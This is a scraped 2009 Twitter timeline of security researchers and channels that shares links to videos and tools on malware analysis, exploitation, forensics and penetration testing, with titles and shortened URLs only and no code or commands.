     *      *   181. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Nmap XML Parsing with Windows PowerShell http://bit.ly/4KfAu12:04 AM Oct 28th from DemoApp
     *      *   182. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** Another automated malware analysis service: Xandora: http://bit.ly/fSTOJ. Full list of such sites:http://bit.ly/3PLiy5.6:56 AM Oct 27th from CoTweet
     *      *   183. <img src='img/Temp2_8595.jpg' width='48' height='48' alt='robtlee' />**robtlee** Windows 7 Computer Forensics http://bit.ly/3uE2Fz5:01 AM Oct 27th from web
     *      *   184. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** Examples of the use of social engineering in real-world computer attacks: http://bit.ly/42ArA33:45 AM Oct 27th from CoTweet
     *      *   185. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Exploit Hacking \(Infinity Exists\)http://bit.ly/14Gy2h4:53 PM Oct 26th from DemoApp
     *      *   186. <img src='img/Temp2_8602.jpg' width='48' height='48' alt='Keivan Komeilipour' />**komeilipour** Reverse Engineering for Vulnerability Analysis 102 - Part Two http://ow.ly/wHgR11:07 AM Oct 26th from HootSuite
     *      *   187. <img src='img/Temp2_8619.jpg' width='48' height='48' alt='Jon Oberheide' />**jonoberheide** Corsaire covered my SQL injection via mag card idea, doh\! http://bit.ly/GTrsD :-\)10:23 AM Oct 26th from web
     *      *   188. <img src='img/Temp2_8603.jpg' width='48' height='48' alt='devilok' />**devilok** Malware Diaries - Mac OS X virus free?http://bit.ly/3kfEtP <\--- again?9:53 AM Oct 26th from web
     *      *   189. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Phreaks, Confs and Jail \(The Last HOPE\)http://bit.ly/2Zl9a9:52 AM Oct 26th from DemoApp
     *      *   190. <img src='img/Temp2_8623.jpg' width='48' height='48' alt='HD Moore' />**hdmoore** RT @dotrandomcode: "Generating Shellcode Using Metasploit" http://tinyurl.com/ykw4gmp7:27 PM Oct 24th from web
     *      *   191. <img src='img/Temp2_8603.jpg' width='48' height='48' alt='devilok' />**devilok** Hack In The Box - Testing Microsoft Security Essentials and the Hosts file http://bit.ly/2z4iBb5:15 PM Oct 24th from web
     *      *   192. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Windows 7 Security Talk by Jorge Orchilles http://bit.ly/3vzdEX8:50 AM Oct 24th from DemoApp
     *      *   193. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** Handy Windows 7 and Vista recovery disk ISO images by NeoSmart: http://bit.ly/3koUAX \(via @cybernetnews\)4:39 AM Oct 24th from CoTweet
     *      *   194. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Handcuff Workshop at the MetaLabhttp://bit.ly/14ZwIw1:50 AM Oct 24th from DemoApp
     *      *   195. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Incident Response 101 \(LayerOne 2009\)http://bit.ly/zAdm412:50 PM Oct 23rd from DemoApp
     *      *   196. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Email Harvesting using Metasploithttp://bit.ly/ACJaN10:14 AM Oct 23rd from DemoApp
     *      *   197. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Programming the Frameworkhttp://bit.ly/19h2269:50 AM Oct 23rd from DemoApp
     *      *   198. <img src='img/Temp2_8625.jpg' width='48' height='48' alt='Command-Line-Fu' />**commandlinefu** http://bit.ly/1XtYM \- command line calculator \(twfcc\)8:03 PM Oct 22nd from API
     *      *   199. <img src='img/Temp2_8603.jpg' width='48' height='48' alt='devilok' />**devilok** "Windows 7 default user account control worries experts" http://j.mp/3gqbaX7:46 AM Oct 22nd from BigTweet
     *      *   200. <img src='img/Temp2_8603.jpg' width='48' height='48' alt='devilok' />**devilok** "TrueCrypt 6.3 released" http://j.mp/2uoEne7:46 AM Oct 22nd from BigTweet
     *      *   201. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** Peach: The SmartFuzzer\!http://tinyurl.com/yjxw3o97:45 AM Oct 22nd from API
     *      *   202. <img src='img/Temp2_8599.jpg' width='48' height='48' alt='seanhn' />**seanhn** http://uread.wordpress.com/ <\-- List of fun computer science papers on dynamic/static analysis and other fun stuff7:08 AM Oct 22nd from Twitterrific
     *      *   203. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** Turbodiff - binary diffing toolhttp://tinyurl.com/yhd5nbz2:50 AM Oct 22nd from API
     *      *   204. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Creating MS Word Macros from any Executable http://bit.ly/OUeVE12:49 AM Oct 22nd from DemoApp
     *      *   205. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Firewall Basics Primerhttp://bit.ly/8zioR5:48 PM Oct 21st from DemoApp
     *      *   206. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Simple Linux Trojan and Backdoor Demo http://bit.ly/Ygtix10:48 AM Oct 21st from DemoApp
     *      *   207. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Programming an ARP DoS Tool \(2\)http://bit.ly/1P4wy5:48 AM Oct 21st from DemoApp
     *      *   208. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Blackbox Reversing of XSS Filters \(Recon 2008\) http://bit.ly/1Yms4j2:48 AM Oct 21st from DemoApp
     *      *   209. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Advanced Malware Removal on Windowshttp://bit.ly/10eDPD12:48 AM Oct 21st from DemoApp
     *      *   210. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Assembly Primer for Hackers \(Part 5\) Data Types http://bit.ly/VszIG11:47 PM Oct 20th from DemoApp
     *      *   211. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Netbios Basics using SMBClient Part 1http://bit.ly/FcamZ7:47 AM Oct 20th from DemoApp
     *      *   212. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] System Level Privilege Escalation on XPhttp://bit.ly/MczgQ1:46 AM Oct 20th from DemoApp
     *      *   213. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] TCP Echo Client using Socketshttp://bit.ly/4CrsN38:46 AM Oct 19th from DemoApp
     *      *   214. <img src='img/Temp2_8599.jpg' width='48' height='48' alt='seanhn' />**seanhn** Stick figure guide to AES anyone? http://min.ie/25h\(via crytogram\)5:07 AM Oct 18th from Twitterrific
     *      *   215. <img src='img/Temp2_8602.jpg' width='48' height='48' alt='Keivan Komeilipour' />**komeilipour** \#Conficker C P2P Protocol and Implementationhttp://ow.ly/v3VW4:05 AM Oct 18th from HootSuite
     *      *   216. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] How We Break Into Domains \(HAR 2009\)http://bit.ly/1fQ5Hg11:43 PM Oct 17th from DemoApp
     *      *   217. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** BitMeter 2 - bandwidth meter to calculate you total internet in and out http://tinyurl.com/yld77w77:31 PM Oct 17th from API
     *      *   218. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] DNS Spoofing with Virtual Hostshttp://bit.ly/KEGvh6:43 PM Oct 17th from DemoApp
     *      *   219. <img src='img/Temp2_8623.jpg' width='48' height='48' alt='HD Moore' />**hdmoore** metasploit now has its own, hand-written TDS/MSSQL driver - expect alot more post-auth MSSQL exploits in the future :\)5:12 PM Oct 17th from web
     *      *   220. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] System Level Privilege Escalation on XPhttp://bit.ly/MczgQ2:43 PM Oct 17th from DemoApp
     *      *   221. <img src='img/Temp2_8603.jpg' width='48' height='48' alt='devilok' />**devilok** "PacketStorm Security Exploit Archive Snatcher"http://j.mp/bWRgN2:36 PM Oct 17th from BigTweet
     *      *   222. <img src='img/Temp2_8603.jpg' width='48' height='48' alt='devilok' />**devilok** "Mozilla Disables Microsoft's Insecure Firefox Add-on" http://j.mp/493wXs2:36 PM Oct 17th from BigTweet
     *      *   223. <img src='img/Temp2_8605.jpg' width='48' height='48' alt='indi,liz,jackalope' />**exoticliability** Finished up a few episodes talking about "Social Security Engineers," Intel gathering, and news/tools and techniques recaps from the week2:15 PM Oct 17th from web
     *      *   224. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** Examples of how \#malware detects the use of virtualization software like VMware: http://bit.ly/2Z3IZn \(by @VRT\_Sourcefire\)4:04 AM Oct 16th from CoTweet
     *      *   225. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Malware Unpacking in OllyDbghttp://bit.ly/wJ6hJ3:46 AM Oct 16th from DemoApp
     *      *   226. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Mina Javascript Deobfuscation Toolhttp://bit.ly/lSmox9:46 PM Oct 15th from DemoApp
     *      *   227. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Analyzing Flash Malwarehttp://bit.ly/2E9Mwi5:24 PM Oct 15th from DemoApp
     *      *   228. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Analyzing Malicious PDF Documentshttp://bit.ly/251qNC5:12 PM Oct 15th from DemoApp
     *      *   229. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Debugging and Reverse Engineering using Dtrace http://bit.ly/TOGgL3:40 PM Oct 15th from DemoApp
     *      *   230. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Xplico Network Forensic Analysis Tool Demo http://bit.ly/t2yFO7:39 AM Oct 15th from DemoApp
     *      *   231. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Netcat Basics \(Server Mode\)http://bit.ly/jsfBR4:39 AM Oct 15th from DemoApp
     *      *   232. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Exploit Development Basicshttp://bit.ly/3mP091:39 AM Oct 15th from DemoApp
     *      *   233. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Git Primer http://bit.ly/ZuQS34:39 PM Oct 14th from DemoApp
     *      *   234. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Detecting DNS and HTTP Load Balancers using LBD http://bit.ly/Vk91c2:39 PM Oct 14th from DemoApp
     *      *   235. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Mobile Phone Forensics by Eoghan Casey http://bit.ly/1o5ixZ9:38 PM Oct 13th from DemoApp
     *      *   236. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] RC4 Basics Presentationhttp://bit.ly/2BI9k5:37 PM Oct 13th from DemoApp
     *      *   237. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] TCP connection reset in a local network through ARP poisoning and packet injectionhttp://bit.ly/5JMId10:37 AM Oct 13th from DemoApp
     *      *   238. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Behavioral Analysis of Malwarehttp://bit.ly/1T3oqq9:45 AM Oct 13th from DemoApp
     *      *   239. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Socket Programming Basics Presentation \(3\) http://bit.ly/6AtIM9:36 AM Oct 13th from DemoApp
     *      *   240. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Remote Command Execution on a web server through a reverse shell invoked by a RFI vulnerable script http://bit.ly/GoRi48:36 AM Oct 13th from DemoApp
     *      *   241. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Blackbox Reversing of XSS Filters \(Recon 2008\) http://bit.ly/1Yms4j10:36 PM Oct 12th from DemoApp
     *      *   242. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** cum security toolkit - cgi vulnerability scanner and a port scanner http://tinyurl.com/yk8xjox10:14 PM Oct 12th from API
     *      *   243. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Patching Kernel32 for Fun and Profithttp://bit.ly/aSGSC8:36 PM Oct 12th from DemoApp
     *      *   244. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Windows Exploit Programming Primerhttp://bit.ly/OxNtS7:36 PM Oct 12th from DemoApp
     *      *   245. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] FPGA MD5 Cracker http://bit.ly/pwW2X6:36 PM Oct 12th from DemoApp
     *      *   246. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Memory Allocation with Malloc, Calloc and Realloc Part II \(C Programming 101\) http://bit.ly/Nf9zl4:36 PM Oct 12th from DemoApp
     *      *   247. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] ARP Packet Injection Programminghttp://bit.ly/BW1Ra3:36 PM Oct 12th from DemoApp
     *      *   248. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Reverse Engineering Browser Plugins Using Wireshark http://bit.ly/2KlHmt11:35 AM Oct 12th from DemoApp
     *      *   249. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Write your own AV Signatures with Clam AntiVirus http://bit.ly/3XYv8o4:34 PM Oct 11th from DemoApp
     *      *   250. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Botnets, Ransomware, Malware, and Stuff \(Brucon 2009\) http://bit.ly/xpn7Q2:34 PM Oct 11th from DemoApp
     *      *   251. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Deploying DNSSEC \(LayerOne 2009\)http://bit.ly/16JWxn1:34 PM Oct 11th from DemoApp
     *      *   252. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Java and JNLP Application Hackinghttp://bit.ly/Icn7I8:34 AM Oct 11th from DemoApp
     *      *   253. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Python Programming Language Lectures from MIT http://bit.ly/1Jq8CE11:33 AM Oct 10th from DemoApp
     *      *   254. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Metasploit Autopwn Toolhttp://bit.ly/15eXAo10:33 AM Oct 10th from DemoApp
     *      *   255. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] The Deobfuscator \(Recon 2008\)http://bit.ly/Fl9Od5:33 AM Oct 10th from DemoApp
     *      *   256. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Blackbox Reversing of XSS Filters \(Recon 2008\) http://bit.ly/1Yms4j5:33 PM Oct 9th from DemoApp
     *      *   257. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Format String Vulnerabilities Primer \(Part 2 Understanding Format Functions\) http://bit.ly/72tWY3:33 PM Oct 9th from DemoApp
     *      *   258. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Monitoring API Calls on Windows with Maltrap http://bit.ly/pvgq31:33 PM Oct 9th from DemoApp
     *      *   259. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Understanding the TCP 3 Way Handshake http://bit.ly/R21Sb12:33 PM Oct 9th from DemoApp
     *      *   260. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Metasploit vs Printer http://bit.ly/azkV93:45 PM Oct 8th from DemoApp
     *      *   261. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Satellite Hacking for Fun and Profit \(Blackhat 2009\) http://bit.ly/14ooSe3:32 PM Oct 8th from DemoApp
     *      *   262. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Raw Sockets Basics Presentationhttp://bit.ly/UKGYO9:32 AM Oct 8th from DemoApp
     *      *   263. <img src='img/Temp2_8626.jpg' width='48' height='48' alt='d3v1l' />**securityshell** Web Application Security Scanner Evaluation Criteria v1 http://bit.ly/3wTwl29:28 AM Oct 8th from web
     *      *   264. <img src='img/Temp2_8626.jpg' width='48' height='48' alt='d3v1l' />**securityshell** Static Binary Analysis of Recent SMBv2 Vulnerability http://bit.ly/vtwZl4:31 AM Oct 8th from web
     *      *   265. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Nmap XML Parsing with Windows PowerShell http://bit.ly/4KfAu3:45 AM Oct 8th from DemoApp
     *      *   266. <img src='img/Temp2_8628.jpg' width='48' height='48' alt='dennis elser' />**\_meta4** RT @alexsotirov I've always been annoyed by the lack of respect AV people shows for the other side:http://bit.ly/14etoc3:29 AM Oct 8th from web
     *   267. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] The Machine that Changed the World \(Documentary\) http://bit.ly/i6zmT1:31 AM Oct 8th from DemoApp
     *      *   268. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Reverse Engineering of Proprietary Protocols, Tools and Techniques http://bit.ly/EQVtO11:31 PM Oct 7th from DemoApp
     *      *   269. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** Bytehist - generate byte-usage-histograms for malware desiging and anaysis http://tinyurl.com/yex496e8:33 PM Oct 7th from API
     *      *   270. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Metasploit Reverse VNC Payload as VB Script in a Word Document http://bit.ly/1iucrY3:45 PM Oct 7th from DemoApp
     *      *   271. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Cryptography \(Introduction\)http://bit.ly/lUtS93:31 PM Oct 7th from DemoApp
     *      *   272. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** Code Crawler - OWASP Code Crawler / Review toolhttp://tinyurl.com/y9q8gyj9:04 PM Oct 6th from API
     *      *   273. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Polymorphic Virus Analysis \(Recon 2008\) http://bit.ly/8sKw10:30 AM Oct 6th from DemoApp
     *      *   274. <img src='img/Temp2_8597.jpg' width='48' height='48' alt='David Kennedy' />**dave\_rel1k** RT @hdmoore: RT @dm557: A quickly metasploit module update for 351 Packets from the Trampoline techs:http://paste2.org/p/4549388:20 AM Oct 6th from TweetDeck
     *      *   275. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** MAPDAV - More Accurate Password Dictionary Attack Vector for \*nix http://tinyurl.com/yelbasr8:33 PM Oct 4th from API
     *      *   276. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Turning Metasploit into a Vulnerability Scanner using Autopwn http://bit.ly/6DMAI3:44 PM Oct 4th from DemoApp
     *      *   277. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Debugging and Reverse Engineering using Dtrace http://bit.ly/TOGgL9:44 AM Oct 4th from DemoApp
     *      *   278. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Format String Vulnerabilities Primer \(Part 3 Crashing the Program\) http://bit.ly/R0M8o3:28 AM Oct 4th from DemoApp
     *      *   279. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Ten Cool Things You Did Not Know About Your Hard Drive http://bit.ly/2kqag912:28 AM Oct 4th from DemoApp
     *      *   280. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Exploit Hacking \(Infinity Exists\)http://bit.ly/14Gy2h11:28 PM Oct 3rd from DemoApp
     *      *   281. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** wsScanner - Web Services Footprinting, Discovery, Enumeration, Scanning and Fuzzing toolhttp://tinyurl.com/ychpcsh6:22 PM Oct 3rd from API
     *      *   282. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** Tutorial: How to analyze PDF files?http://tinyurl.com/y8ko5e88:40 AM Oct 3rd from API
     *      *   283. <img src='img/Temp2_8614.jpg' width='48' height='48' alt='Didier Stevens' />**DidierStevens** Windows 7 UserAssist keys binary data 72 bytes. 4-7&8-11=counters 12-15 running time 60-67 timestamp 68-71 flags6:41 AM Oct 3rd from Echofon
     *      *   284. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] TKIP Primer \(Part II\) http://bit.ly/uOUv86:28 AM Oct 3rd from DemoApp
     *      *   285. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] WiFi MAC header \(Part 1\)http://bit.ly/1fvkEd5:28 AM Oct 3rd from DemoApp
     *      *   286. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Remote Command Execution on a web server through a reverse shell invoked by a RFI vulnerable script http://bit.ly/GoRi41:28 AM Oct 3rd from DemoApp
     *      *   287. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Vulnerability Scanning \(Corky's Security Series\) http://bit.ly/171eqE's-Security-Series\)-video.aspx12:28 AM Oct 3rd from DemoApp
     *      *   288. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Damn Vulnerable Web App Installationhttp://bit.ly/YDFpr7:28 PM Oct 2nd from DemoApp
     *      *   289. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Source Code Auditing 101http://bit.ly/M0zcM4:30 PM Oct 2nd from DemoApp
     *      *   290. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] How to make Files Undetectable by Anti Virus http://bit.ly/4wRewj9:27 AM Oct 2nd from DemoApp
     *      *   291. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Is XSS Solveable \(LayerOne 2009\)http://bit.ly/AeQ0G7:27 AM Oct 2nd from DemoApp
     *      *   292. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Lockpicking Forensics \(LayerOne 2009\)http://bit.ly/153zpw5:27 AM Oct 2nd from DemoApp
     *      *   293. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** XLSInjector: Inject Meterpreter shell to excel fileshttp://tinyurl.com/ycfq3zl4:20 AM Oct 2nd from API
     *      *   294. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Network Grep \(Ngrep\) Basicshttp://bit.ly/ls01l3:27 AM Oct 2nd from DemoApp
     *      *   295. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Beating Heuristic Scanning in Anti Viruses by Adding an Encoder http://bit.ly/JgJPC10:26 AM Oct 1st from DemoApp
     *      *   296. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Injectable Exploit \(Defcon 17\)http://bit.ly/3IqhPf9:44 AM Oct 1st from DemoApp
     *      *   297. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Security Assessing Java RMIhttp://bit.ly/13ibqV7:26 AM Oct 1st from DemoApp
     *      *   298. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Security Assessing Java RMIhttp://bit.ly/13ibqV5:26 AM Oct 1st from DemoApp
     *      *   299. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Tactical Exploitation \(Defcon\)http://bit.ly/12tErC4:26 AM Oct 1st from DemoApp
     *      *   300. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Reverse Engineering 101 \( Using a Hex Editor to Find Passwords \) http://bit.ly/SKMJo11:26 PM Sep 30th from DemoApp
     *      *   301. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Reverse Engineering Techniques to find Security Vulnerabilities http://bit.ly/MPd8B6:26 PM Sep 30th from DemoApp
     *      *   302. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] ARP Packet Injection Programminghttp://bit.ly/BW1Ra5:26 PM Sep 30th from DemoApp
     *      *   303. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Detecting HTTP Load Balancers using Halberd http://bit.ly/46EJZz5:22 PM Sep 30th from DemoApp
     *      *   304. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Detecting DNS and HTTP Load Balancers using LBD http://bit.ly/Vk91c4:54 PM Sep 30th from DemoApp
     *      *   305. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Remote Keylogger Firefox Addonhttp://bit.ly/3Ktrs4:29 PM Sep 30th from DemoApp
     *      *   306. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] CSMA CA http://bit.ly/6eATT4:26 PM Sep 30th from DemoApp
     *      *   307. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] VMWare Hacking at Defcon 15http://bit.ly/n9nG7:24 AM Sep 30th from DemoApp
     *      *   308. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Visualizing Data Flow Analysis using SpiderPig http://bit.ly/19pCtx5:24 AM Sep 30th from DemoApp
     *      *   309. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Two Dimensional Arrays Part III \(C Programming 101\) http://bit.ly/u1f7d11:24 PM Sep 29th from DemoApp
     *      *   310. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Social Engineering for the Socially Inept \(Recon 2008\) http://bit.ly/GnPO510:24 PM Sep 29th from DemoApp
     *      *   311. <img src='img/Temp2_8606.jpg' width='48' height='48' alt='Black' />**pentestit** Microsoft Security Essentials - Free anti malware for windows full version http://tinyurl.com/yzgx5ow8:33 PM Sep 29th from API
     *      *   312. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Subverting Windows Group Policies to run a Disabled CMD.exe http://bit.ly/GIpHH8:21 PM Sep 29th from DemoApp
     *      *   313. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** My malware threats & defenses talk now recorded. Listen at http://bit.ly/UDCBn. Slides & full notes athttp://bit.ly/OzKNb8:55 AM Sep 29th from CoTweet
     *      *   314. ******BrianHonan** RT @helpnetsecurity: Video: Malicious PDF files \(http://bit.ly/TP2Xg\) with @DidierStevens recorded at @brucon3:33 AM Sep 29th from TweetDeck
     *      *   315. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Domain Information Groper \( DIG \) Basics http://bit.ly/HpDFA2:20 AM Sep 29th from DemoApp
     *      *   316. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Data Stealing in Digital Dumping Grounds http://bit.ly/qHLd31:20 AM Sep 29th from DemoApp
     *      *   317. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Linux Operating System Vulnerabilities Lecture by Sam Bowne http://bit.ly/b02kT12:20 AM Sep 29th from DemoApp
     *      *   318. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] HTTP Parameter Pollution \(HPP\) Attackhttp://bit.ly/13XifC9:20 AM Sep 28th from DemoApp
